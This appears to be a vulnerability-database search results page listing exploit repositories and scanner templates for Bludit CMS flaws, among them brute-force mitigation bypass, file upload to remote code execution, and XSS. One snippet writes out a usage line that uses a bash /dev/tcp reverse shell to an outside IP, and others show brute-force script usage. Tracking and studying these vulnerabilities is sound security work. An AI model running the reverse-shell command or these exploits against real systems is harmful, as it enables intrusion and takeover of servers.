Lucene search
+L

470 matches found

Kitploit
Kitploit
added 2026/09/13 6:13 a.m.6 views

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Bypass bludit mitigation login and upload malicious to call a rev shell...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 3:39 a.m.6 views

CVE-2020-13889

Author: Andre k Lorenci Contact: [email protected] CVE-2020-13889 Hello, this vulnerability consists in a function called showAlert in the administration panel of bludit,that when accessed in DOM, allows users define the text to be popped up in the message box. But this function dont have an...

5.4CVSS5.7AI score0.00857EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 12:18 a.m.5 views

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

8.8CVSS6.8AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/12 10:29 p.m.5 views

CVE-2019-17240_Bludit-BF-Bypass

CVE-2019-17240 Exploit/PoC - Bludit Brute-force Mitigation Bypass Exploit Code for CVE-2019-17240 aka Bludit = 3.9.2 Bruteforce Mitigation Bypass Exploit Links: ExploitDB-48942 PacketStorm Expected outcome: Discover login credentials, bypassing Brute-force Mechanism on host running Bludit =3.9.2...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References3
Kitploit
Kitploit
added 2026/09/12 10:04 p.m.7 views

CVE-2019-16113-Dockerfile

Bludit Directory Traversal Vulnerability CVE-2019--16113 Bludit-3.9.2 is a lightweight CMS that only requires a LAMP environment to run. During image upload, Bludit checks the file extension but does not delete the file in time; an attacker can also achieve directory traversal by controlling the...

8.8CVSS6.9AI score0.77962EPSS
SaveExploits16References2
Kitploit
Kitploit
added 2026/09/12 3:11 p.m.8 views

CVE-2019-17240-Bludit-3.9.2-Auth-Bruteforce-Bypass

CVE-2019-17240 Bludit 3.9.2 auth bruteforce bypass...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/12 2:56 p.m.5 views

Bludit-3-9-2-bb

Bludit-3-9-2-bb Bludit 3.9.2 - bruteforce bypass - CVE-2019-17240 Very simple script based on CVE-2019-17240. Original POC and explanation: https://github.com/bludit/bludit/pull/1090. root@kitploit: usage: python ./bludit-3-9-2-bb.py -l 'http://sitename.com/admin/login' -u ./usernamesfilelist.txt...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/12 1:18 p.m.10 views

CVE-2019-16113

Bludit 3.9.2 - Remote command execution - CVE-2019-16113 This exploit combines two exploits in Bludit CMS 3.9.2 to gain remote code execution on the target system. The original exploits are CVE-2019-17240 & CVE-2019-16113. Features Bruteforce password + RCE Bruteforce username:password + RCE...

8.8CVSS6.9AI score0.77962EPSS
SaveExploits16References1
Kitploit
Kitploit
added 2026/09/12 11:49 a.m.5 views

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 Remote Code Execution Vulnerability via "Upload function". Simple Python PoC. Discovery by @christasa: https://github.com/bludit/bludit/issues/1081 Usage Edit the script with your URL, username, password and command to execute then run the script: root@kitploit: ...

8.8CVSS7AI score0.77962EPSS
SaveExploits16References2
Kitploit
Kitploit
added 2026/09/12 10:28 a.m.5 views

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 Remote Command Execution RCE...

8.8CVSS6.8AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/12 8:30 a.m.8 views

cve-2019-17240

Bludit = 3.9.22 - Bruteforce Mitigation Bypass This is small project where I rewrite this python script into golang. Purpose of this project was to learn Golang and understand how this exploit work. Usage root@kitploit: $ ./brutepass -sdasds flag provided but not defined: -sdasds Usage of...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9
Nuclei
Nuclei
added 2026/09/12 2:04 a.m.5 views

Bludit CMS <= 3.20.0 - Cross-Site Scripting

Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query. id: CVE-2026-41456 info: name: Bludit CMS = 3.20.0 - Cross-Site Scripting author: 0xAkoko...

5.1CVSS0.01902EPSS
SaveExploits2References3
Nuclei
Nuclei
added 2026/09/12 2:04 a.m.67 views

Bludit 3.13.1 - Cross Site Scripting

Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in admin/login id: CVE-2021-35323 info: name: Bludit 3.13.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | Cross Site Scripting XSS vulnerability exists in bludit 3-13-1 via the username in...

6.1CVSS6.3AI score0.05621EPSS
SaveExploits4References3
Kitploit
Kitploit
added 2026/09/10 4:52 a.m.7 views

CVE-2016-16113-POC

Get RCE - Bludit CMS Exploit root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| An automated exploitation tool that combines CVE-2019-17240 Authentication Bypass and CVE-2019-16113 Arbitrary File Upload to achieve remote code...

9.8CVSS6.2AI score0.77962EPSS
SaveExploits24References1
Kitploit
Kitploit
added 2026/09/09 2:22 p.m.11 views

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE Description Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/ endpoint. The uploadFile function performs no file extension or...

8.8CVSS6AI score0.01919EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/09 3:48 a.m.4 views

CVE-2019-16113

CVE-2019-16113 This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg or .png file name, and then this PHP code...

8.8CVSS6.6AI score0.77962EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/08 8:21 p.m.6 views

CVE-2019-17240

CVE-2019-17240 Exploit Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. The vulnerability was discovered by Rastating. Submitting a login...

9.8CVSS6.3AI score0.39598EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/07 4:52 a.m.9 views

CVE-2021-45745

CVE-2021-45745 Exploit Title: Bludit 3.13.1 - About Plugin Stored Cross Site Scripting XSS Exploit Author: SANU P.L CVE: CVE-2021-45745 CVSS: 5.4 MEDIUM References: https://www.plsanu.com/bludit-3-13-1-about-plugin-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45745...

5.4CVSS6AI score0.01438EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 3:01 a.m.6 views

CVE-2021-45744

CVE-2021-45744 Exploit Title: Bludit 3.13.1 - TAGS Field Stored Cross Site Scripting XSS Exploit Author: SANU P.L CVE: CVE-2021-45744 CVSS: 5.4 MEDIUM References: https://www.plsanu.com/bludit-3-13-1-tags-field-stored-cross-site-scripting-xss https://nvd.nist.gov/vuln/detail/CVE-2021-45744...

5.4CVSS6AI score0.01438EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/06 6:50 p.m.4 views

Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240

Bludit Bruteforce Mitigation Bypass Script Overview This script is a refurbished Bash implementation of an exploit targeting the Bludit CMS version = 3.9.2. It leverages a vulnerability CVE-2019-17240 that allows brute-forcing passwords by bypassing the CSRF token-based protection. The original...

9.8CVSS6.2AI score0.39598EPSS
SaveExploits9References4
Rows per page
Query Builder